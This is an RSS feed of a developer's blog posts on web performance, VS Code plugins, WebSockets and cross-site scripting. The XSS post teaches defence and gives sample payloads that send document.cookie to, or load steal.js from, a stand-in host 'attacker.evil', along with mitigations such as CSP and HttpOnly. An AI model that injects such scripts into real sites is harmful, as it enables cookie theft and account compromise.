<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sujeet Kumar Jaiswal on Medium]]></title>
        <description><![CDATA[Stories by Sujeet Kumar Jaiswal on Medium]]></description>
        <link>https://medium.com/@sujeetkrjaiswal?source=rss-2ec01368ec71------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QhzdmXfZmg4PErepUKQNtw.jpeg</url>
            <title>Stories by Sujeet Kumar Jaiswal on Medium</title>
            <link>https://medium.com/@sujeetkrjaiswal?source=rss-2ec01368ec71------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 16:26:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sujeetkrjaiswal/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Web Performance — What, Why & How?]]></title>
            <link>https://medium.com/developer-s-blog/web-performance-what-why-how-7e7b592e5950?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e7b592e5950</guid>
            <category><![CDATA[web-performance]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Mon, 14 Sep 2020 10:38:29 GMT</pubDate>
            <atom:updated>2020-09-14T10:38:29.404Z</atom:updated>
            <content:encoded><![CDATA[<h3>Web Performance — What, Why &amp; How?</h3><h4>Developing a website is easy, making the one that sells is difficult.</h4><blockquote>People will forget what you said, People will forget what you did, But people will never forget How you made them feel. — Maya Angelou</blockquote><blockquote><strong>Web performance is all about making the user “feel good”.</strong></blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F10151577&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fsounds-good-to-me-cats-sunglasses-gif-10151577&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fimages%2F50d591e0c856f3c43b0018dbcdad77f0%2Ftenor.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/cc12d1d1df1c89c0a0392ad55efd006d/href">https://medium.com/media/cc12d1d1df1c89c0a0392ad55efd006d/href</a></iframe><h3>What is Web Performance</h3><p>Web performance is all about making sites fast, including making the slow ones seem fast. It includes both objective measurements (e.g., time to load, frames per second, and time to become interactive) and subjective experiences of how long it felt like it took the content to load.</p><p>When a user navigates to a page, they are looking out for a particular type of feedback and experience. Below are the most critical questions that the user might have when visiting a site.</p><ul><li>Is it happening?: Did the navigation happen successfully? Has the server responded?</li><li>Is it useful?: Did sufficient content render?</li><li>Is it usable?: Can I interact with the page, or is it still loading?</li><li>Is it Delightful?: Are the interactions smooth and natural, free of lag &amp; jitter?</li></ul><blockquote>Ultimately, user-perceived performance is the only performance that matters. — <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Fundamentals">MDN</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2d5-Sa33CAY0weAKcOW99g.png" /><figcaption>Web Performance — Load indicators</figcaption></figure><p>When we talk about Web Performance, below are the significant factors that are considered most important.</p><h4>Startup Performance (Load Time)</h4><p>A lot of people talk in terms of “a site took x.yz second to load,” but it is not a single moment in time; instead, it has multiple moments that can change the perception of a site being “fast” or “slow.”</p><p><strong>Is it happening?</strong></p><ul><li><strong>First Paint</strong> is the point at which sufficient application resources has loaded to paint an initial frame.</li><li><strong>First Contentful Paint</strong> is the point at which the browser paints the first text or image.</li></ul><p><strong>Is it Useful?</strong></p><ul><li><strong>First Meaningful Paint</strong> is the point at which the browser paints the primary content of the page. (Deprecated in favor of LCP)</li><li>The <strong>Largest Contentful Paint</strong> is the point at which the browser paints the largest text or image.</li></ul><p><strong>Is it Usable?</strong></p><ul><li><strong>Time to Interactive</strong> is the time it takes to become fully interactive.</li></ul><h4>Run-time Performance</h4><p>The run-time performance focuses on the Responsiveness and smoothness once the initial load is complete, and the user is interacting with your application.</p><p><strong>Is it Delightful?</strong></p><ul><li><strong>Responsiveness</strong> refers to the time taken by a page to respond to user interaction. Generally, it should be between 50ms to 100ms to make sure the user doesn’t feel any lag.</li><li><strong>Frame rate</strong>: Human eye can detect any lag below 60fps, and hence when we are adding animations or transition or scrolling to our application, we need to make sure that it happens at &gt;=60fps, which will make a better user experience in terms of smoothness.</li></ul><h4>Memory and Power Usage</h4><p>Modern users use your websites on a variety of systems which has different constraints on memory, CPU, and power. Improving memory and power usage is as essential as enhancing startup time for a better user experience throughout the users’ session.</p><p>Modern CPUs can enter a <strong>low-power mode</strong> when idle. An application that fires unnecessary timers, or keeps unnecessary animations, prevents CPUs from entering low power mode. In a world where most of the users use battery-powered devices such as mobiles, tab, and laptops, power saving is an essential factor.</p><p>When applications move to the background, applications should be able to drop as many loaded resources in memory as possible to use less memory when running in the background. You can listen to an event (e.g. visibiltyChange) and drop the resources from in-memory and, if required later, store in browser storage like indexedDB or just cache in the browser. Application getting pushed to the background is now much more common since the usage over phone and tabs has increased.</p><h3>Why is Web Performance Important?</h3><p>Reducing the download and render time of a site improves user experience and user satisfaction, consequently enhancing conversion rates and user retention.</p><blockquote>A Google study over millions of page impressions found that when a site meets the recommended thresholds for the Core Web Vitals metrics, users are at least 24% less likely to abandon a page before it finishes loading. — <a href="https://blog.chromium.org/2020/05/the-science-behind-web-vitals.html"><em>Chomium Blog (The science behind web vitals)</em></a></blockquote><p>Visit <a href="https://wpostats.com/">WPO Stats</a> for Case studies and experiments demonstrating the impact of web performance optimization (WPO) on user experience and business metrics.</p><p>Here are some real-world examples of performance improvements:</p><blockquote>Rossignol.com improved their load time by 1.9 seconds and cut their Speed Index by a factor of 10, contributing to a 94% improvement in conversion rate when compared to the year prior. — <a href="https://www.fasterize.com/en/blog/fasterize-helps-rossignol-divide-its-web-page-load-time-by-10/"><em>Blog (Fasterize helps Rossignol divide its web page load time by 10)</em></a></blockquote><blockquote>ALDO found that on their single-page app, mobile users who experienced fast rendering times brought 75% more revenue than average, and 327% more revenue that those experiencing slow rending times. on desktop, users with fast-rendering times brought in 212% more revenue than average and 572% more than slow. — <a href="https://simplified.dev/performance/impact-of-web-performance"><em>The impact of Web Performance</em></a></blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F3453134&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fcheering-happy-laugh-excited-minions-gif-3453134&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fimages%2Fd737bf148b962c1e6cc4fb842bcced97%2Fraw&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/0a4b9ffd813c18297a8bf8d675ff2ccf/href">https://medium.com/media/0a4b9ffd813c18297a8bf8d675ff2ccf/href</a></iframe><h4>So It’s important, But How long is too long?</h4><blockquote>There are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7ms) and responding to user input (50 to 200ms). — <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/How_long_is_too_long">MDN</a></blockquote><p>As per google’s guidelines on <a href="https://web.dev/vitals/">web vitals</a>, below are the three significant metrics and their indicative values of Good &amp; Poor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRG2bz2coY4fnJXh8AAelA.png" /><figcaption>Web Vitals from Google</figcaption></figure><h3>How to measure Web Performance?</h3><p>Real-world performance is highly variable due to differences in users’ devices, network connections, and other factors. Lab data and Field data are the two approaches to measure web performance.</p><p><strong>Lab data</strong> is performance data collected within a controlled environment with a predefined device and network settings. <strong>Field data</strong> (also called <strong>Real User Monitoring or RUM</strong>) is performance data collected from real-world page loads experienced by your users in the wild.‌</p><p>Lighthouse is the most popular tool to measure Lab data. You can use the below steps measure.‌</p><ol><li>Open a website you want to measure.</li><li>Open Chrome Dev Tool and navigate to Lighthouse Tab.</li><li>Select Categories you want to measure (Performance) and Device (Mobile or Desktop)</li><li>Click the Generate Report button.‌</li></ol><p>Once the report generates, you will see something similar to the below image, which measures essential predefined user-centric metrics.‌</p><ul><li>First Contentful Paint (FCP)</li><li>Speed Index</li><li>Largest Contentful Paint (LCP)</li><li>Time to Interactive (TTI)</li><li>Total Blocking time (TBT)</li><li>Cumulative Layout Shift (CLS)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwfmPWn6vooow9UhVtVooQ.png" /><figcaption>Lighthouse report for the home page (pre-login, desktop) on <a href="https://medium.com/">https://medium.com</a></figcaption></figure><p>You can also define custom metrics using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance">Performance APIs.</a></p><p>The most common approach to measure Field data is to track metrics via telemetry or analytics services/library that reports based on the configured rules and uses Performance API and other events. <a href="https://developers.google.com/web/tools/chrome-user-experience-report/">Chrome User Experience Report (CrUX)</a> provides metrics showing how real-world Chrome users experience popular destinations on the web.</p><h3>How can we improve Web Performance?</h3><p>Measure first and then optimize. Pre-mature optimization generally leads to low ROI on the efforts. A lot of optimizations techniques are enabled by default in the modern application bundlers like webpack.</p><h4>Reduce overall load time</h4><ul><li>Loading only the critical resources on page load and lazy loading all the other resources improve initial load time drastically.</li><li>Using content delivery networks (CDNs) also helps in reducing network latency. CDNs are a network of servers spread across the globe, and geographically nearest server handles it, and hence the latency of HTTP calls is reduced.</li><li>Caching resources whenever possible</li></ul><h4>Making the site usable as soon as possible</h4><p>Load web assets in an order that enables the user to start using the site as soon as possible. The two most common approaches to address this are:</p><ul><li>Load Above the fold content first.</li><li>Server-side rendering: It is a technique to generate the entire page on the server to improve FCP and LCP.</li></ul><h4>Smoothness and Interactivity</h4><ul><li>Smooth experience occurs when the frame rate is &gt;=60fps. CSS animations are better than JS animations to ensure consistent animations.</li><li>Response time between 50–200ms makes the site more responsive.</li></ul><h4>Perceived Performance</h4><p>When an operation is going to take a longer time, it is essential to keep the user engaged by showing some visual tips and messages.</p><p>A lot many times, the user interactions requires making network call which inherently is slow. For such use cases, the progress bar can give some visual feedback to a user and hence improving the perceived performance instead of not showing anything at all.</p><h3>Quick Tips to improve the performance of your web application:</h3><ul><li>Use CDN to cache and reduce latency.</li><li>Choose the right image format.</li><li>Choose the correct level of compression.</li><li>Replace Animated GIFs with video for faster page loads</li><li>Serve responsive images</li><li>Use WebP images</li><li>Reduce JS Payload with code splitting and lazy loading</li><li>Remove unused code with tree shaking.</li><li>Minify and compress — CSS &amp; JS files</li><li>Extract critical CSS</li><li>Use differential loading strategy and load modern code for a modern browser.</li><li>Adaptive serving based on network quality</li><li>Enable prefetching</li></ul><h3>References</h3><ul><li><a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/What_is_web_performance">https://developer.mozilla.org/en-US/docs/Learn/Performance/What_is_web_performance</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Fundamentals">https://developer.mozilla.org/en-US/docs/Web/Performance/Fundamentals</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/Performance/How_long_is_too_long">https://developer.mozilla.org/en-US/docs/Web/Performance/How_long_is_too_long</a></li><li><a href="https://web.dev/what-is-speed/">https://web.dev/what-is-speed/</a></li><li><a href="https://web.dev/why-speed-matters/">https://web.dev/why-speed-matters/</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/why_web_performance">https://developer.mozilla.org/en-US/docs/Learn/Performance/why_web_performance</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e7b592e5950" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/web-performance-what-why-how-7e7b592e5950">Web Performance — What, Why &amp; How?</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[15 must have VS Code plugin for web development (2018)]]></title>
            <link>https://medium.com/developer-s-blog/15-must-have-vs-code-plugin-for-web-development-2018-e9d5a9aac895?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9d5a9aac895</guid>
            <category><![CDATA[development-tools]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Tue, 08 May 2018 07:40:32 GMT</pubDate>
            <atom:updated>2018-05-08T08:25:54.452Z</atom:updated>
            <content:encoded><![CDATA[<h4>An opinionated collection of VS-code plugins for web developers.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNIUbBo7BYPkxxYgpHTahw.png" /><figcaption>VS Code</figcaption></figure><p>Below are the list of VS Code plugins, that I feel will improve the overall productivity. For linting, I have used tslint and scss-lint as I mostly use Typescript &amp; SCSS, but if you use plain JS, feel free to use es-lint.</p><p>The order of the plugins are only alphabetical, and does not convey any other meaning.</p><ol><li><a href="https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-close-tag"><strong>Auto Close Tag</strong></a><strong><br></strong>Automatically add HTML/XML close tag, same as Visual Studio IDE or Sublime Text does.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-rename-tag"><strong>Auto Rename Ta</strong></a><strong>g<br></strong>Automatically rename paired HTML/XML tag, same as VS IDE does.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=HookyQR.beautify"><strong>Beautify</strong></a><strong><br></strong>Beautify javascript, JSON, CSS, Sass and HTML in VS Code</li><li><a href="https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker"><strong>Code Spell Checker</strong></a><strong><br></strong>A basic spell checker that works well with camelCase code.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=msjsdiag.debugger-for-chrome"><strong>Debugger for Chrome</strong></a><strong><br></strong>A VS Code extension to debug your JavaScript code in Google Chrome browser, or other targets that supports the Chrome DevTools Protocol</li><li><a href="https://marketplace.visualstudio.com/items?itemName=joelday.docthis"><strong>Document This</strong></a><strong><br></strong>A VS Code extension that automatically generates detailed JSDoc comments for both TypeScript and JavaScript files.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=EditorConfig.EditorConfig"><strong>EditorConfig for VS Code</strong></a><strong><br></strong>This plugin attempts to override user/workspace settings with settings found in .editorconfig files.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens"><strong>GitLens- Git supercharged</strong></a><strong><br></strong>GitLens supercharges the Git capabilities build into Visual Studio Code. It helps you to visualise code authorship at a glance via Git blame annotations and code lens, seamlessly navigate and explore Git repositories, gain valuable insights via powerful comparison commands and so much more.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint"><strong>markdownlint</strong></a><strong><br></strong>Markdown/CommonMark linting and style checking for Visual Studio Code</li><li><a href="https://marketplace.visualstudio.com/items?itemName=christian-kohler.npm-intellisense"><strong>npm Intellisense</strong></a><strong><br></strong>Visual Studio Code plugin that autocompletes npm modules in import statements.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=Rubymaniac.vscode-paste-and-indent"><strong>Paste and Indent</strong></a><strong><br></strong>This extension adds limited support for pasting and indenting code. Much like SublimeText’s paste_and_indent</li><li><a href="https://marketplace.visualstudio.com/items?itemName=mrmlnc.vscode-scss"><strong>SCSS IntelliSense</strong></a><strong><br></strong>SCSS IntelliSense (Variables, Mixins and Functions) for all files in the workspace.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=richie5um2.vscode-sort-json"><strong>Sort JSON objects</strong></a><strong><br></strong>Alphabetically sorts the keys in selected JSON objects.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=Tyriar.sort-lines"><strong>Sort lines</strong></a><strong><br></strong>Sort lines of text in VSCode</li><li><a href="https://marketplace.visualstudio.com/items?itemName=eg2.tslint"><strong>TSLint</strong></a><strong><br></strong>Integrates the tsint linter for the TypeScript language into VS Code.</li><li><a href="https://marketplace.visualstudio.com/items?itemName=robertohuertasm.vscode-icons"><strong>vscode-icons</strong></a><strong> [optional]<br></strong>Brings icons to your VSCode. This will help in distinguishing the files easily.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9d5a9aac895" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/15-must-have-vs-code-plugin-for-web-development-2018-e9d5a9aac895">15 must have VS Code plugin for web development (2018)</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-site Scripting (XSS)]]></title>
            <link>https://medium.com/developer-s-blog/cross-site-scripting-xss-1eeb4d8049ca?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eeb4d8049ca</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Mon, 07 May 2018 19:45:41 GMT</pubDate>
            <atom:updated>2018-05-07T19:51:43.179Z</atom:updated>
            <content:encoded><![CDATA[<h4>Cross-site Scripting is a type of computer security vulnerability typically found in web application, which enables attackers to inject and execute client-side malicious scripts into web pages in another user’s browser.</h4><p>An XSS vulnerability arises when web applications takes data as input from users and dynamically include it in web pages without first properly validating or sanitizing the data. The inclusion of the user provided input can be at server-side or client-side or both.</p><p><strong>Example</strong></p><p>Let’s take a example of a website that allows user to add html formatted comment, and a attacker commented like It&#39;s Awesome&lt;script&gt;window.location=&quot;http://attacker.evil?cookie=&quot;+document.cookie&lt;/script&gt;. When any other user opens up that post, this comment if rendered without sanitizing (HTML escaping, encoding etc.), will show the comment text and executes the script (invisible) hence user’s data will be compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6tEWwJF5UKfjZfbO0xgBKQ.jpeg" /><figcaption>Cross-site Scripting example of stealing user cookies</figcaption></figure><h4>Some quick Q/A for the impatient</h4><p><strong>Q:</strong> What is Cross-site Scripting &amp; how it affects</p><p><strong>A:</strong> A scenario where an attacker is able to inject and execute some malicious script into a website is called Cross-site Scripting. Script execution will allow attacker to have key-logging, access confidential user’s data, or the cookie / access tokens etc itself, which will allow the attacker complete access to the user’s data.</p><p><strong>Q:</strong> How to stop?</p><p><strong>A: First</strong>, don’t allow him to inject. Every user provided input either from URL or from input boxes or from anywhere, always should be sanitized. <strong>Second</strong>, if attacker is still able to inject somehow, just stop it’s script from executing. Now when the attacker injects his malicious script, it will either in-line or from some non-trusted source, therefore only allow the scripts to be executed from trusted source. This can be setup using Content Security Policy. <strong>Third,</strong> if your application doesn’t need javascript, disable script execution completely</p><p><strong>Q:</strong> Who is affected?</p><p><strong>A:</strong> Since the injection is done on the browser, the user’s data will be compromised.</p><h4><strong>Consequences of malicious JavaScript</strong></h4><ul><li><strong>Cookie theft</strong>: The attacker can access the victim’s cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information.</li><li><strong>Key-logging</strong>: The attacker can register a keyboard event listener using addEventListener and then send all the user’s keystrokes to his own server potentially recording sensitive information such as passwords and credit card numbers.</li><li><strong>Phishing</strong>: The attacker can insert a fake login form into a page using DOM manipulation, set the form’s action attribute to target his own server and then trick the user into submitting sensitive information.</li><li><strong>Access Tokens</strong>: It can access global variable added by other scripts which allow to access any data store in those variables.</li><li><strong>HTML5 Storage Access</strong>: The inject script can access data stored in LocalStorage/IndexedDB etc.</li></ul><h3><strong>Types of XSS</strong></h3><h4><strong>Stored Cross-site Scripting Vulnerability</strong></h4><p>It occurs when the data provided by the attacker is saved by the server, and then permanently displayed on “normal” pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQIsKc1tcFTHSvaGXfdqYQ.jpeg" /><figcaption>Stored XSS</figcaption></figure><p><strong>Example:<br></strong>Let’s consider a example scenario where a site example.com allows user to add HTML formatted text as comment</p><ol><li>An attacker went to that site, and adds a comment in one of the viral posts of that website. The comment was a malicious string. eg.: It&#39;s awesome &lt;script src=&quot;http://attacker.evil/steal.js&quot;&gt;&lt;/script&gt; The comment will be stored in website’s database.</li><li>Another user visits that viral post, and the page is rendered with the comment in step 2.</li><li>User will only see the It’s awesome., as script tags when evaluated will be hidden but will execute, and therefore, the user will be compromised</li></ol><h4><strong>Reflected Cross-site Scripting Vulnerability</strong></h4><p>It occurs when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iBSIydU8WmnidEEPxM90g.jpeg" /><figcaption>Reflected XSS</figcaption></figure><p><strong>Example<br></strong>Let’s consider the following situation where a site example.com reads the query parameters from the url and uses it without sanitizing it.</p><ol><li>The attacker crafts a url containing a malicious string (e.g.: <a href="http://example.com/search?q=cool_movie%3Cscript%20src=%22http://attacker.evil/steal.js%22%3E%3C/script%3E"><em>http://example.com/search?q=cool_movie%3Cscript%20src=%22http://attacker.evil/steal.js%22%3E%3C/script%3E</em></a>) and send it to other users.</li><li>A user is tricked by the attacker into requesting the URL from website. The website includes the malicious string from the URL in the html response.</li><li>The user’s browser executes the malicious script inside the response, sending the user’s data to attacker’s server</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*GPN4FqS4RmL0O0jF05p1cA.jpeg" /><figcaption>Reflected XSS : Sample html respose</figcaption></figure><h4><strong>DOM Based Cross-site Scripting Vulnerability</strong></h4><p>In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.</p><p>One of the biggest differences between DOM Based XSS and Reflected or Stored XSS vulnerabilities is that DOM Based XSS cannot be stopped by server-side filters. For example, anything written after the “#” (hash) will never be sent to the server.</p><p>Consider a web page with following script</p><pre>&lt;script&gt;<br>document.write(&quot;Current Url: &quot; + document.baseURI)<br>&lt;/scrip&gt;</pre><p>If the attacker send a url to a user similar to Reflected Cross site Scripting but instead of a query parameter this time he uses # (hash) . Eg: <a href="http://example.com/search?q=cool_movie%3Cscript%20src=%22http://attacker.evil/steal.js%22%3E%3C/script%3E"><em>http://example.com/search#%3Cscript%20src=%22http://attacker.evil/steal.js%22%3E%3C/script%3E</em></a> which is actually http://example.com#&lt;script src=&quot;http://attacker.evil/steal.js&quot;&gt;&lt;/script&gt;</p><h3>Mitigating XSS</h3><ul><li>Sanitizing the user provided input before saving to db and/or rendering in the web application</li><li>For cookies, we can add ‘HttpOnly’ header to disable javascript access to cookies. (<a href="https://www.owasp.org/index.php/HttpOnly">Read More</a>)</li><li>Using proper Content-Security-Policy header to avoid Javascript execution in the browser from non-trusted sources.</li></ul><h4><strong>Mitigating XSS Using Content-Security Policy (CSP)</strong></h4><p>CSP makes it possible to specify the domains that the browser should consider to be valid source of executable scripts. A CSP compatible browser will then only execute scripts loaded in source files received from those white-listed domains ignoring all other script (including inline scripts and event-handling HTML attributes)</p><p><strong>Example 1</strong></p><p>All content from the site’s own origin (this excludes sub-domains)</p><p>`Content-Security-Policy: default-src ‘self’`</p><p><strong>Example 2</strong></p><p>Web application to include images from any origin in their own content, but to restrict audio or video media to trusted providers, and all scripts only to a specific server that hosts trusted code.</p><p>`Content-Security-Policy: default-src ‘self’; img-src *; media-src media1.com media2.com; script-src userscripts.example.com *.trusted.com`</p><p><strong>References</strong></p><ul><li><a href="https://en.wikipedia.org/wiki/Cross-site_scripting">https://en.wikipedia.org/wiki/Cross-site_scripting</a></li><li><a href="https://excess-xss.com/">https://excess-xss.com/</a></li><li><a href="https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/">https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/</a></li><li><a href="https://www.acunetix.com/websitesecurity/cross-site-scripting/">https://www.acunetix.com/websitesecurity/cross-site-scripting/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eeb4d8049ca" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/cross-site-scripting-xss-1eeb4d8049ca">Cross-site Scripting (XSS)</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSockets]]></title>
            <link>https://medium.com/developer-s-blog/websockets-57050af12bb1?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/57050af12bb1</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Sat, 07 Oct 2017 10:49:45 GMT</pubDate>
            <atom:updated>2017-10-07T10:49:45.008Z</atom:updated>
            <content:encoded><![CDATA[<p>WebSockets is a technique for two-way communication over one (TCP) socket using the <strong>ws</strong> (unsecured) or <strong>wss</strong>(secured) protocol and can be used by any client or server application. The common use cases includes push notification, chat applications, online multi-player game or any such real-time data sharing application.</p><h4>Introduction</h4><p>WebSockets creates a persistent, low latency connection and allows simultaneous communication between the web-server and the client, sending data from either direction is easy and fast, and does not have the overhead of regular HTTP AJAX calls</p><blockquote>WebSockets enables <a href="https://en.wikipedia.org/wiki/Push_technology#HTTP_server_push">HTTP server push</a>, as it allows a web server and client to communicate over a<a href="https://en.wikipedia.org/wiki/Duplex_(telecommunications)"> full-duplex</a> TCP connection.</blockquote><p>WebSockets can replace <strong>long-polling</strong>, which basically tries to emulate PUSH using the regular HTTP ajax calls.</p><h4>Hacks to emulate bi-direction message pushing</h4><p>AJAX technology was not designed to be used for the purpose of bi-direction message pushing. But when WebSockets were not around and in cases where WebSockets may not be used, the workarounds like Polling, Long Polling, Streaming, are the common.</p><p><em>For this blog, I will focus on the client rather than the server implementation</em></p><h4>JavaScript WebSockets API</h4><p>In order to communicate using the WebSocket protocol, you need to create a WebSocket object.</p><pre>var socket = new WebSocket(URL [, protocols]);</pre><p>There are mainly two <strong>WebSocket API actions</strong>:</p><ol><li><strong>send():</strong> This method is used for transmitting data to the server</li><li><strong>close():</strong> This method is used to close the WebSocket connection</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*FsD-fJgW5UNF9yt17rm8Bg.png" /><figcaption>This demonstrates the events and the actions associated with sockets</figcaption></figure><p>There are four main <strong>WebSocket API events</strong>:</p><ol><li><strong>Open:</strong> This event is fired from the instance once the connection has been established between the client and the server. send() should only be called after this event has occurred. The function which gets executed is <strong>onopen</strong>.</li><li><strong>Message:</strong> This event occurs when the server sends some data. All of the logic to deal with the incoming data from the server is generally written here. The function which gets executed is <strong>onmessage.</strong></li><li><strong>Close:</strong> This event is fired when the connection is closed by either client or server. Closing of connection can also occur because of poor connectivity. The function which gets executed is <strong>onclose</strong>.</li><li><strong>Error:</strong> The event is always followed by termination of connection. The function that gets executed is <strong>onerror</strong>.</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c409e5ef298a6bf9044ab3c343b2e4b0/href">https://medium.com/media/c409e5ef298a6bf9044ab3c343b2e4b0/href</a></iframe><h4>References</h4><ol><li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API">WebSockets API — MDN</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSockets Client Application — MDN</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57050af12bb1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/developer-s-blog/websockets-57050af12bb1">WebSockets</a> was originally published in <a href="https://medium.com/developer-s-blog">Sujeet’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Default Parameter to enforce a required Parameter]]></title>
            <link>https://medium.com/developer-s-blog/using-default-parameter-to-enforce-a-required-parameter-d9bd8d5a0586?source=rss-2ec01368ec71------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9bd8d5a0586</guid>
            <category><![CDATA[es6]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Sujeet Kumar Jaiswal]]></dc:creator>
            <pubDate>Fri, 06 Oct 2017 08:51:48 GMT</pubDate>
            <atom:updated>2017-10-06T08:59:26.980Z</atom:updated>
